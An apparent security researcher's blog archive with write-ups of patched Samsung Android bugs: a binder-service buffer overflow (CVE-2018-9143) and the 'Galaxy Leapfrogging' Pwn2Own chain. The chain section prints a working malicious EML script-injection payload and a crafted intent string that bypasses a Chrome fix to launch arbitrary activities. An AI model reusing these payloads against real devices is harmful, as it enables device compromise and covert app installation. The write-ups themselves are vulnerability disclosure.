Category Archives: pwn

Examining and exploiting android vendor binder services – part1

Vendor binder services proved to be an interesting part of android devices nature. They usually remains close-source, but sometimes open new attack surface for privilege escalation. In these articles I will first describe how to locate interesting binder service and a reversing quirk, then two typical CVEs will be discussed about their nature and exploitation, and how to find them.

Locating interesting binder services

Before Android N, all binder services were registered to servicemanager, and communicated with each other under /dev/binder. After Android N, binder domains are splitted to normal domain under /dev/binder, vendor domain under /dev/vndbinder, and hardware domain under /dev/hwbinder. Normal untrusted_app access is restricted to /dev/binder.

There’re possibly more than 200 binder services on some vendor devices, and most of them are Java services. Java code may introduce common android logic problems, which we will not cover in this blog post. Currently we are only interested in memory corruption bugs lies in native code.

So first question arises: how do we deduce which services may have interesting native code? Where are these services running?J previously released a tool named bindump, by reading binder data in debugfs, the tool can iterate which process owns a process and which processes are using this service. However days  have passed and android has involved pretty much, major problems including

  • debugfs is no longer readable by normal process so you will need root to run
  • Binder node now have context so you have to distinguish between different domain context
  • Libbinder.so linking symbols changes in every version so one may not be able to reuse the binary and need to recompile the source on top of corresponding AOSP source branch

To solve problem 2 and 3, I rewrite the tool in Java and encapsulated it into a standalone jar, its source and binary can be found here.

With the tool to find hosting process for binder service, we move to look binder services in native processes.

CVE-2018-9143: buffer overflow in visiond service

There’s an arbitrary length/value overflow in the platform’s visiond daemon, which runs under system uid. visiond exposes a service named media.air, multiple dynamic libraries are used by this service, including visiond, libairserviceproxy, libairservice, libair. libairserviceproxy is the library with server-side method implementations, namely BnAIRClient::onTransact, BnEngine::onTransact, BnAIRService::onTransact.

Missing vtable entries?

An interesting fact worth noticing when reversing these libraries is that, in IDA at the address where we should find vtables, except top-offset and virtual-base offset, all other virtual method pointer items are all zero. However at runtime, the corresponding memory locations become normal. This does not appear on Nexus or Pixel image libraries when opened with IDA.

hedan vtable1

At first glance it may seem like a binary protection for anti-reversing. However after some digging in we found it’s acutally a new Android linker feature that was not supported by IDA. To understand this symposym, one should first be clear that the vtable function addresses does not naturally resides in .data.rel.ro. Their offsets are actually stored in relocation entries at .rela.dyn with type R_AARCH64_RELATIVE or others. IDA and other disassembler tools do the job of linker, read, calculate and store the value into their respective locations. If IDA failed to parse the relocation entries, the target addresses will be left untouched, as seen in the screenshot.

So what’s the offending linker feature? Quoting from chromium docs:

Packed Relocations
All flavors of lib(mono)chrome.so enable “packed relocations”, or “APS2 relocations” in order to save binary size.
Refer to this source file for an explanation of the format.
To process these relocations:
Pre-M Android: Our custom linker must be used.
M+ Android: The system linker understands the format.
To see if relocations are packed, look for LOOS+# when running: readelf -S libchrome.so
Android P+ supports an even better format known as RELR.
We'll likely switch non-Monochrome apks over to using it once it is implemented in lld.

vtable2

This feature encodes binary data in SLEB128 format in order to save space for large binaries. The detailed implementation, including encoding and decoding algorithm can be found here( http://androidxref.com/9.0.0_r3/xref/bionic/tools/relocation_packer/src/delta_encoder.h). At runtime, the linker decodes this segment, rearranging other segment addresses and extracts normal relocation entries. Then everything goes back to normal. IDA at that time does not supported this encoding so all relocation infos are lost in IDA. One can use the relocation_packer tool itself to recover the addresses.

Update: Two years after Android introduced this feature IDA 7.3 has finally supported APS2 relocation, which can be seen in the following screenshot.

+ ELF: added support for packed android relocations (APS2 format)

vtable3

AirService copies in the air

BnAirServiceProxy provides two methods for managing AirClient passed from client process. One accepts a StrongBinder (AirClient) and an int option, returns a binder handle (pointing to BnAIR) for client process to invoke.If the int option is 0, it will create a FileSource thread. If the option is 1, it will create a CameraSourceThread(only this can trigger this vulnerability)

BnAIR::transact (in libair.so) has many functions, the functions relating to this exp is android::AIRService::Client::configure, start and enqueueFrame. We must call these functions in order of configure->start->enqueueFrame to do a property setup.The specific vulnerable function is enqueueFrame. enqueueFrame receives an int and IMemory, and the IMemory content is copied out to a previously allocated fixed IMemory in Frame object.

android::RefBase *__fastcall android::FrameManager::enqueueFrame(__int64 someptr, __int64 imemory)
{
//...
 v4 = (android::FrameManager::Frame *)operator new(0x38uLL);
 android::FrameManager::Frame::Frame(v4, v5, *(_DWORD *)(v2 + 0x88), *(_DWORD *)(v2 + 140), 17, *(_DWORD *)(v2 + 144));
 v16 = v4;

 android::RefBase::incStrong(v4, &v16);

 (*(void (**)(void))(**(_QWORD **)v3 + 0x20LL))(); //offset and size is retrived

 v6 = (*(__int64 (**)(void))(*(_QWORD *)v16 + 88LL))(); //v6 = Frame->imemory->base();

 v7 = (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)imemoryheap + 40LL))(imemoryheap); //v7 = imemoryheap->base();

 memcpy(v6, v7 + v15, v14);//memcpy(frame->imemory->base(), imemoryheap->base() + offset, imemoryheap->size());//overflow here
//...
 if ( imemoryheap )
   android::RefBase::decStrong(
     (android::RefBase *)(imemoryheap + *(_QWORD *)(*(_QWORD *)imemoryheap - 24LL)),
     &imemoryheap);
 result = v16;
 if ( v16 )
   result = (android::RefBase *)android::RefBase::decStrong(v16, &v16);

 return result;

}

The detailed steps are as follows:

  1. We use first transact with code=3 from untrusted_app to /system/bin/visond service, to trigger android::AIRService::Client::configure(int) in libairservice.so. This transact is needed to init some parameters
  2. The second transact with code=4, which starts an AIRService Client, android::AIRService::Client::start() start the Client to accept the final transaction
  3. The final transact, with code=7, actually passes an IMemory with attacker controlled length/content, to trigger android::AIRService::Client::enqueueFrame(int, android::spandroid::IMemory const&).

The mmaped area in Frame itself is usually 2M, so any passed in Imemory with size > 2M will trigger overflow.

    fpsr 00000000  fpcr 00000000
backtrace:
    #00 pc 000000000001b014  /system/lib64/libc.so (memcpy+332)
    #01 pc 0000000000029b5c  /system/lib64/libairservice.so (_ZN7android12FrameManager12enqueueFrameERKNS_2spINS_7IMemoryEEE+188)
    #02 pc 0000000000030c8c  /system/lib64/libairservice.so (_ZN7android10AIRService6Client12enqueueFrameEiRKNS_2spINS_7IMemoryEEE+72)
    #03 pc 000000000000fbf8  /system/lib64/libair.so (_ZN7android5BnAIR10onTransactEjRKNS_6ParcelEPS1_j+732)
    #04 pc 000000000004a340  /system/lib64/libbinder.so (_ZN7android7BBinder8transactEjRKNS_6ParcelEPS1_j+132)
    #05 pc 00000000000564f0  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14executeCommandEi+1032)
    #06 pc 000000000005602c  /system/lib64/libbinder.so (_ZN7android14IPCThreadState20getAndExecuteCommandEv+156)
    #07 pc 0000000000056744  /system/lib64/libbinder.so (_ZN7android14IPCThreadState14joinThreadPoolEb+128)
    #08 pc 0000000000074b70  /system/lib64/libbinder.so
    #09 pc 00000000000127f0  /system/lib64/libutils.so (_ZN7android6Thread11_threadLoopEPv+336)
    #10 pc 00000000000770f4  /system/lib64/libc.so (_ZL15__pthread_startPv+204)
    #11 pc 000000000001e7d0  /system/lib64/libc.so (__start_thread+16)

Exploitation?

This may be similar to Project Zero’s bitunmap bug, since overflow occurs in mmaped area. When android::AIRService::Client::configure is called, a new thread is created in libairservice.so. By allocating Frame, and removing Frame we can create a hole in highmem area. Allocate Frame again, trigger overflow and we can override the thread mmaped area to get PC control.

However, SElinux still enforces strict limitation (no execmem, no executable file loading, cannot lookup PackageManagerService in servicemanager), on visiond, although it’s a system-uid process. How can we utilize this elevated privilege to do things malicious like installing arbitrary app, if we even cannot access PackageManagerService?

Note that although SELinux prohibits visiond from looking up the PMS service, neither it nor the PMS itself has additional restrictions or checks when PMS’s transactions are actually invoked, if we have the service handle. So we may use the following steps to bypass this restriction:

  • Attacking app (untrusted_app context) obtains StrongBinder handle of PMS
  • Attacking app passes the handle to visiond. Any transaction method accepting and storing StrongBinder will work.
  • Attacking app triggers the vulnerability, gains code execution. Payload searches the specific memory location in step 2 to find the handle
  • Payload calls PMS’s installPackage method with the handle

Conclusion

So this’s CVE-2018-9143. Samsung has already posted advisory and pushed out FIX via firmware OTA. In next article I will describe CVE-2018-9139, a heap overflow in sensorhubservice, and how we examined and fuzzed the target to find this vulnerability, with a PC-controlled POC.

Bonus: POC for this CVE and vulnerable binary has been posted at https://github.com/flankerhqd/binder-cves for your reference.

Galaxy Leapfrogging盖乐世蛙跳: Pwning the Galaxy S8

在最近的一系列文章中,我会介绍这些年以来通过Pwn2Own和官方渠道所报告的在各种Android厂商设备中发现的各种CVE,包括通过fuzz和代码审计发现的各式各样的内存破坏漏洞和逻辑漏洞。第一篇文章将会介绍在2017年末我们用来远程攻破Galaxy S8并安装应用的利用链,一个V8漏洞来获取最开始的沙箱内代码执行,和五个逻辑漏洞来最终实现沙箱逃逸和提权来安装任意应用,demo视频可以在这里看到。

所有的漏洞均已经报告并以CVE-2018-10496,CVE-2018-10497,CVE-2018-10498,CVE-2018-10499,CVE-2018-10500来标示。本文将主要介绍整个利用链,V8漏洞将在另外的文章中介绍。

English version writeup here

Bug 0: Pwning and Examining the browser’s renderer process

通过第一个V8漏洞(CVE-2018-10496,credit to Gengming Liu and Zhen Feng),我们现在获得了在三星浏览器renderer沙箱的代码执行。众所周知这是一个isolated process。Isolated process是安卓中权限最低的进程,被传统的DAC权限和SELinux context policy所严格限制。 sbrowser processes 那么在S8上相应的policy会不会有问题?通过反编译S8的SELinux policy,我们很遗憾地发现三星在这块还是做了不错的工作,相比于原版Android没有增加任何的额外allow policy。也就是说isolated进程仍然只能访问很少量的service和IPC,更别提启动activity之类的了。 SELinux access vectors 对于想从头了解三星浏览器(或者说Chrome浏览器)沙箱架构的读者朋友,可以参考我之前在CanSecWest上的PPT,相应内容在此就不再赘述。鉴于看起来三星并没有对isolated process增加额外的供给面,我们还是需要用old-fashion的办法 – 审计浏览器IPC。三星浏览器虽然在界面上和Chrome看起来大相径庭,但本质上还是Chromium内核,对应的沙箱架构也和Chrome一致。 前事不忘后事之师。说到IPC漏洞,我们就会想到当年东京文体两开花中日合拍的…

Bug 1: 东京遗珠: CVE-2016-5197修复不完全可被绕过

老读者们应该都还记得之前东京我们用来攻破Pixel的CVE-2016-5197,具体内容可以在这里看到。回顾当年Google给出的补丁

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google的修复是对该IPC接受的intent string做了检查,只有特定scheme的intent才能通过,意图是只允许geo://,tel://和mailto://等隐式intent,从而禁止再传递显式string来启动activity。 然而这个修复漏掉了关键的部分:intent解析并不是只依赖于scheme部分,component参数的优先级远高于scheme解析。我们只要在之前的攻击payload头部添加”scheme=geo”,同时依然保持component,即可既绕过这个check,又继续在renderer沙箱中通过这个IPC启动任意activity,继续利用这个漏洞。如之前所述,三星浏览器是chromium内核,那么也包含相同的漏洞代码。 Jumping from renderer sandbox 当然受到parseUri参数的限制,我们构造出的intent只能含有string和其他基本类型参数,不能包含一些fancy的parcelable,这对后续攻击面选择提出了要求。这个activity需要能满足如下条件

  • 导出并会在webview中加载或执行攻击者通过intent指定的url或javascript
  • 接受基本参数类型,对parcelable没有强制检查

只要我们能在App的webview中执行任意代码,我们就获得了这个应用的权限。 [注1]

这个漏洞在报告后,Google分配了issue 804969。幸运的是,Chrome在这个漏洞被报告前的一次无关的代码refactor中,把这个IPC整个全部去掉了… 故Chrome官方认为此问题已经不存在了,但是所有下游的Chromium内核浏览器都仍然受影响。一个奇葩的操作是三星并没有为这个漏洞单独分配CVE,而是在各个bug单独的CVE之外,又分配了CVE-2018-9140/SVE-2017-10747给整个利用链。

Bug 2: The Email loves EML with a … XSS

在检索所有权限较高的应用过程中,我们发现了Samsung Email和它所导出的一个有趣的Activity。 Email activity 导出的com.samsung.android.email.ui.messageview.MessageFileView会在intent参数中接收并解析EML文件。什么是EML文件?EML文件是一个电子邮件导出格式,Samsung Email对EML文件提供了非常完善的富文本支持 – 完善到直接用Webview来加载和渲染。这当然立即勾起了一个安全研究员的兴趣:这是否意味着接下来有XSS、脚本注入,以及对于我们的场景,代码执行的可能性。 Project Zero的Natalie在CVE-2015-7893中报告了一个类似的漏洞,在此之后三星增加了一些检查。然而就像所有的漏洞修复第一次经常可能修不完一样,这个检查做的非常粗糙,粗糙到是对<script>关键字的匹配。我们只需通过img src document.onload=blablaba并动态引入script即可绕过,从而导致XSS。 这个漏洞被分配了CVE-2018-10497。

Bug 3: … 以及 file:/// 跨域

虽然在Bug 2中我们证实了这个XSS确实存在,但通过这个XSS引入js exploit并获得代码执行权限(shell)还有一些问题。典型的是EML文件本身如果太大,将会影响WebView的堆布局,进而导致堆风水的成功率降低。但是Email应用并没有让我们失望,它开启了setAllowFileAccessFromFileUrls,这意味着我们可以将js exploit拆分到单独的文件中,通过script src的方式引用,进而尽可能缩小EML文件的体积来提高V8漏洞的成功率。 一个小tip:Bug2和Bug3组合在一起,已经可以任意读取Email的私有文件了。 这个漏洞被分配了CVE-2018-10498 所以我们现在构造如下所示的样例攻击EML文件:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79
--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1
<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--
Bill Jncjkqfuck

</body>
--bcaec54eecc63acce604a3050f77—

通过在EML中捆绑V8 exploit并通过intent使Email打开,我们可以成功在Email进程中执行代码获得其权限,从而正式跳出renderer进程的isolate沙箱。Email应用本身具备读取相片、通讯录的权限故到这里我们已经满足了Pwn2Own的初步要求。截至目前,我们的攻击链步骤如下:

  1. 通过http header头attachment的方式强迫浏览器将含有攻击代码的EML文件和js文件下载。在安卓上,下载路径固定于例如/sdcard/Download/test.eml/sdcard/Download/test.js中。
  2. 在获得renderer进程权限后,构造并调用brokerer IPCstartContentIntent,传入参数为intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end,从而唤起并exploit Email应用的webview
  3. 成功获取Email应用进程权限

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

以上结果虽然能满足Pwn2Own的初步要求,但是我们的终极目标是要能够任意安装应用,而Email显然没有这个权限。我们的下一步就是需要找到一个具有INSTALL_PACKAGES权限的进程或应用来作为目标。显而易见,Galaxy Apps(三星应用商店)是一个目标。这个应用中有一个非常有潜力的Activitycom.samsung.android.sdk.ppmt.PpmtPopupActivity,非常直接地接收intent传入的url参数,没有对来源做任何校验就在webview中打开。 不过天上不会掉馅饼,显然这个Activity被保护了 – 不导出。 … 但只是对外保护,不是对内保护

Bug 5: Push SDK pushes vulnerability

在审计三星平台其他App的过程中,我们发现同样的component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceivercom.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver出现在了多个应用,包括Galaxy Apps中。通过分析其功能我们认为这应该是一个私有push SDK,用于一些广告、活动通知相关的推送。这些receiver都是导出的,在PpmtReceiver的相关代码中,我们发现了如下有意思的代码片段:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 
    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }
//in onCardClick, it reaches CardActionLauncher, 
    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }
//If the CardAction.mType is "intent", we finally reaches the following snippet:
private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }
        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }
        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }
        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }
        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }
        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //….

通过这段代码,我们可以通过发送broadcast以任意参数指定任意Activity启动,当然包括Galaxy Apps内部未导出的Activity。我们通过这个漏洞来间接启动之前提到的PpmtPopupActivity,进而加载含有JS exploit的攻击页面,从而获得Galaxy Apps的权限(shell),利用它的INSTALL_PACKAGES权限来安装任意应用。一个有意思的地方是,这个Activity本身并没有直接的UI指向它,所以猜测这能是一个废弃的SDK,但忘记被去掉了。 这个漏洞被分配了CVE-2018-10499.

Chaining it altogether

Whole escape chain 这就是我们攻破Galaxy S8的完整利用链。所有的漏洞均已在当时及时报告给了厂商并得到了修复。鉴于这个漏洞利用链每一步都是在寻找更高权限的进程或应用来作为跳板进行攻击的特点,我们将它命名为”Galaxy Leapfrogging” (盖乐世蛙跳)。完成攻破的Galaxy S8为当时的最新版本samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

在此感谢Samsung Mobile Security在修复漏洞中作出的工作,和腾讯科恩实验室以及科恩实验室的前同事们。 接下来还会有其他各大Android Vendor的各式CVE writeup,请保持关注。Weibo: flanker_017 .

注1: isolated webview的当前状态

从Android O开始,所有的应用在缺省状态下均在isolated context运行webview,也就意味着攻破了webview不再意味着直接获取应用的权限,从而极大地阻止了我们的蛙跳战术。但部分用户量非常大的App(在此不直接点名),使用了自己编译的webview或第三方通用浏览服务提供的webview,例如X5/tbs和ucwebcore,而截至目前这些webview即使在最新版本Android上面仍然没有启用isolated限制,也意味着他们仍然是蛙跳战术巨大而明显的目标。

Galaxy Leapfrogging: Pwning the Galaxy S8

Hello everyone, long time no see! Now begins a series of blog posts about bugs I found before and now on Android vendors, including memory corruption and logical bugs, reported and fixed via Pwn2Own or official bug channel.

This very first post is about the chain of bugs we used in the end of 2017 to get remote arbitrary application install via clicking malicious link on newest Galaxy S8 at that time, prepared for Mobile Pwn2Own, with a V8 bug to get initial code execution in sandbox and 5 logical bugs to finally get arbitrary application install, with demo video. All bugs were reported and assigned CVE-2018-10496, CVE-2018-10497, CVE-2018-10498, CVE-2018-10499, CVE-2018-10500, CVE-2018-9140. The detail of the V8 bug will be covered in another post.

(Chinese version here)

Bug 0: Pwning and Examining the browser’s renderer process

Using the first V8 bug (CVE-2018-10496, credit to Gengming Liu and Zhen Feng of KeenLab), we have get initial code execution in the Samsung Internet Browser isolated process. Isolated process is heavily restricted in android, both in SElinux context and traditional DAC permission.

sbrowser processes

Doing a quick check on the SELinux profile reveals Samsung doing a good job. No additional service attack surface revealed. The sandbox process is still limited to access very few services and IPCs, e.g. starting activity is prohibited.

SELinux access vectors

For those who are interested in the Chrome browser sandbox architecture, you can refer to my CanSecWest presentation. Given Samsung did not open loophole for us to directly exploit from isolated context, we fall back to the good old ways to attack the browser IPC.

The Samsung Internet Browser has a quite different UI than Chrome but its core is still largely based on Chrome, so as the sandbox architecture. Looking over the past always gives us insight over future, which is quite true for ….

Bug 1: The Tokyo treasure: incomplete fix for CVE-2016-5197

Old readers will remember the good old Chrome IPC bug we used to pwn Pixel, as described here. Looking back into the fix…:

https://chromium.googlesource.com/chromium/src.git/+/abd993bfcdc18d41e5ea0f34312543bd6dae081e%5E%21/#F0

public class ContentViewClient {
 public void onStartContentIntent(Context context, String intentUrl, boolean isMainFrame) {
 //...
@@ -144,6 +148,14 @@
         // Perform generic parsing of the URI to turn it into an Intent.
         try {
             intent = Intent.parseUri(intentUrl, Intent.URI_INTENT_SCHEME);
+
+            String scheme = intent.getScheme();
+            if (!scheme.equals(GEO_SCHEME) && !scheme.equals(TEL_SCHEME)
+                    && !scheme.equals(MAILTO_SCHEME)) {
+                Log.w(TAG, "Invalid scheme for URI %s", intentUrl);
+                return;
+            }
+
//...
        try {
            context.startActivity(intent);
        } catch (ActivityNotFoundException ex) {
            Log.w(TAG, "No application can handle %s", intentUrl);
        }
    }

Google tries to fix the vulnerability by adding scheme check, restricting the string IPC accepts so that we cannot use this IPC to start arbitrary explicit activity anymore.

However, a crucial part is missing: intent resolution does not depend solely on scheme part. As long as the incoming argument contains component keyword, which will be parsed first, we can still use this IPC to send an explicit intent – starting arbitrary exported activity. So trivially adding "scheme=geo" will bypass this fix. Samsung Internet Browser shares the same source so it’s also affected.

Jumping from renderer sandbox

Of course due to the limitation of parseUri, we can only craft an Intent with string arguments (no fancy parcelable possible). Now we need to find a privileged application with activity exported and accepts and happily opens malicious URL or execute malicious Javascript in it’s webview.[1] As long as we pwned the webview, we pwned the application.

This bug is also tracked by Google under b/804969. Since in an unrelated refactor Chrome removed this IPC completely, this issue does not affect newest Chrome but still affect all downstream browsers which shares this code. Samsung does not assign a particular CVE for this issue but assigned the whole chain CVE-2018-9140/SVE-2017-10747.

Bug 2: The Email loves EML with a … XSS

Searching through the privileged applications we find Samsung Email.

Email activity

The exported com.samsung.android.email.ui.messageview.MessageFileView activity accepts eml file. What’s an eml file? EML is a dump format of email and seems Samsung Email is kindly enough to provide rich-text support for EML files – by rendering it in a Webview.

Of course it immediately pops up questions for a security researcher, XSS, script injection, etc. In our case, it means code execution. In CVE-2015-7893 Natalie had pointed out a similar issue so checks were added, but far from enough. It still does not have sufficient input validation in the EML file except simple filtering for <script>. We can just inject document.onload=blablaba, and construct script element on the fly, to bypass the fix, and get arbitrary script execution.

This issue is assigned CVE-2018-10497.

Bug 3: … And file:/// crossdomain

Although we have had an exploit theory in step 2, bundling lots of javascript exploit in the EML file itself creates trouble in heap fengshui and ruins our success rate. Luckily the webview configuration in Email allows us to access file:/// from file domain (i.e. setAllowFileAccessFromFileUrls), which enables us to shift the exploit to a single js file and minimizing the EML file, largely improving stability. Bonus point: this vulnerability combined with Bug 2 alone already allows us to read Email’s private file.

This issue is assigned CVE-2018-10498.

So now the EML file becomes like:

MIME-Version: 1.0
Received: by 10.220.191.194 with HTTP; Wed, 11 May 2011 12:27:12 -0700 (PDT)
Date: Wed, 11 May 2011 13:27:12 -0600
Delivered-To: jncjkq@gmail.com
Message-ID: <BANLkTi=JCQO1h3ET-pT_PLEHejhSSYxTZw@mail.jncjkq.com>
Subject: Test
From: Bill Jncjkq <jncjkq@gmail.com>
To: bookmarks@jncjkq.net
Content-Type: multipart/mixed; boundary=bcaec54eecc63acce904a3050f79

--bcaec54eecc63acce604a3050f77
Content-Type: text/html; charset=ISO-8859-1

<body onload=console.log("wtf");document.body.appendChild(document.createElement('script')).src='file:///sdcard/Download/exp.js'>
<br clear="all">--<br>Bill Jncjkqfuck<br>
</body>
--bcaec54eecc63acce604a3050f77--

By exploiting our V8 js bug bundled in the malicious EML again, we can get code execution in Email application, officially jumping out of sandbox. What is nice for us is that the Email application holds lots of precious application like capable of accessing photos, contacts, etc, which already meets Pwn2Own standard.

Given this attack surface, our sandbox-escaping exploit chain now contains the following steps:

  1. Force the browser to download the EML file with exploit code bundled. The download path is predictable like /sdcard/Download/test.eml and /sdcard/Download/exp.js
  2. In the compromised renderer process, craft an IPC with content intent:#Intent;scheme=geo;package=com.samsung.android.email.provider;component=com.samsung.android.email.provider/com.samsung.android.email.ui.messageview.MessageFileView;type=application/eml;S.AbsolutePath=/sdcard/Download/test.eml;end , calling up and exploiting the email application.
  3. We now owns the Email process privilege

Bug 4: Go beyond the Galaxy (Apps) … but blocked?

To achieve the ultimate goal of installing arbitrary application, our next step is trying to pwn a process with INSTALL_PACKAGES privilege. An obvious target is the Galaxy Apps, which is the app store for Samsung phones.

Digging into the APK file we find a promising Activity named com.samsung.android.sdk.ppmt.PpmtPopupActivity, which directly accepts and opens URL in it’s webview from intent. However this obvious target is of course protected.

…protected from other process but not protected from inside.

This issue is assigned CVE-2018-10500.

Bug 5: Push SDK pushes vulnerability

On auditing the Samsung platform apps, the same component com.sec.android.app.samsungapps/com.samsung.android.sdk.ppmt.PpmtReceiver and com.samsung.android.themestore/com.samsung.android.sdk.ppmt.PpmtReceiver appears many times. Turns out it’s an SDK responsible for campaign message pushing and processing. In PpmtReceiver ‘s source code, we find the following interesting snippets:

//The Ppmt receiver seems responsible for push message, and under certain intent configuration, it routes to path 

    private void a(Context arg5, Intent arg6, String arg7) {
        if("card_click".equals(arg7)) {
            CardActionLauncher.onCardClick(arg5, arg6);
            return;
        }

//in onCardClick, it reaches CardActionLauncher, 

    private static boolean a(Context arg2, String arg3, CardAction arg4) {
        boolean v0;
        if("app".equals(arg4.mType)) {
            v0 = CardActionLauncher.b(arg2, arg3, arg4);
        }

//If the CardAction.mType is "intent", we finally reaches the following snippet:

private static boolean d(Context arg5, String arg6, CardAction arg7) {
        boolean v0 = false;
        if(TextUtils.isEmpty(arg7.mPackageName)) {
            Slog.w(CardActionLauncher.a, "[" + arg6 + "] fail to launch intent. pkg null");
            return v0;
        }

        Intent v1 = new Intent();
        v1.setPackage(arg7.mPackageName);
        if(!TextUtils.isEmpty(arg7.mData)) {
            v1.setData(Uri.parse(arg7.mData));
            v1.setAction("android.intent.action.VIEW");
        }

        if(!TextUtils.isEmpty(arg7.mAction)) {
            v1.setAction(arg7.mAction);
        }

        if(!TextUtils.isEmpty(arg7.mClassName)) {
            v1.setComponent(new ComponentName(arg7.mPackageName, arg7.mClassName));
        }

        if(arg7.mExtra != null && !arg7.mExtra.isEmpty()) {
            v1.putExtras(arg7.mExtra);
        }

        CardActionLauncher.a(v1, arg6);
        try {
            switch(arg7.mComponent) {
                case 1: {
                    int v2 = 268435456;
        try {
            v1.setFlags(v2);
            arg5.startActivity(v1);
            goto label_78;
    //....

We can see it’s possible to start an activity with arbitrary arguments/components fully controlled by us, and Galaxy Apps is one of the users of Ppmt push sdk, exposing the PpmtReceiver. We use this vulnerability to indirectly start PpmtPopupActivity, PpmtPopupActivity will happily load any URL we passed in. Reusing the JS exploit, we again get a shell in Samsung Appstore, which has INSTALL_PACKAGE permission, allowing us to install any rogue application. An interesting point is that the activity does not have any explicit UI pointing to it so I guess it’s some common SDK that forgot to be removed.

This issue is assigned CVE-2018-10499.

Chaining it altogether

Combining it all together we have the following figure:

Whole escape chain

So this is how we pwned the Galaxy S8. Demo video has been posted at https://www.youtube.com/watch?v=UXLWk2Ya_6Q&feature=youtu.be at that time. All issues have been fixed by vendor.

Due to the nature of this bug chain, we named it "Galaxy Leapfrogging" as each step of the chain is to find a new app to jump & pwn to gain additional privilege. All vulnerabilities have been tested on the newest Galaxy S8 at that time, samsung/dreamqltezc/dreamqltechn:7.0/NRD90M/G9500ZCU1AQF7:user/release-keys.

We would like to thank Samsung Mobile Security for their work on fixing these vulnerabilities, and I’d like to thank all former colleagues at KeenLab for our work together and the good old days.

Next

Following posts will be about other various security bugs I found on those Android vendors, stay tuned! My twitter: https://twitter.com/flanker_hqd

Note: Current status of isolated Webview

[1] Beginning with Android O, all apps by default runs their system webview in isolated context, which greatly stops "Leapfrogging". However, some apps are still running their own webview core like X5 and tbs in the same context, which still poses great risks and remains an attack surface

一个矩形pwn掉整个内核系列之一 – zone的舞蹈

一个矩形pwn掉整个内核系列之一 – zone的舞蹈

一个矩形pwn掉整个内核?这听起来很马德里不思议,然而这真实地发生在了今年3月份温哥华的Pwn2Own赛场。这一系列文章会向大家分享我们这次沙箱逃逸用到的Blitzard CVE-2016-1815的发现和利用经历。我们通过三步走最终完成了这个利用,本文将先问大家介绍第二和第三步 – kalloc.48的舞蹈kalloc.8192 重剑无锋,在最后一篇文章中,我们会回到本源,介绍这个漏洞的起因。

Continue reading

The Journey of a complete OSX privilege escalation with a single vulnerability – Part 1

The Journey of a complete OSX privilege escalation with a single vulnerability – Part 1

In previous blog posts Liang talked about the userspace privilege escalation vulnerability we found in WindowServer. Now in following articles I will talk about the Blitzard kernel bug we used in this year’s pwn2own to escape the Safari renderer sandbox, existing in the blit operation of graphics pipeline. From a exploiter’s prospective we took advantage of an vector out-of-bound access which under carefully prepared memory situations will lead to write-anywhere-but-value-restricted to achieve both infoleak and RIP control. In this article we will introduce the exploitation methods we played with mainly in kalloc.48 and kalloc.4096.

First we will first introduce the very function which the overflow occurs, what we can control and how these affect our following exploitation.

Continue reading

Integer overflow due to compile behavior in OSX Kernel IOUSBHIDDevice

Interesting Integer overflow in enum comparison IOHIDDevice::handleReportWithTime

By flanker from KeenLab.

There exists a signed integer comparison overflow in IOHIDDevice::_getReport and then handleReportWithTime, which can lead to oob access/execute in handleReportWithTime. A normal process can leverage this vulnerability to archive potential code execution in kernel and escalate privilege.

Continue reading

freenote – advanced heap exploitation

Author: Flanker

Abstract

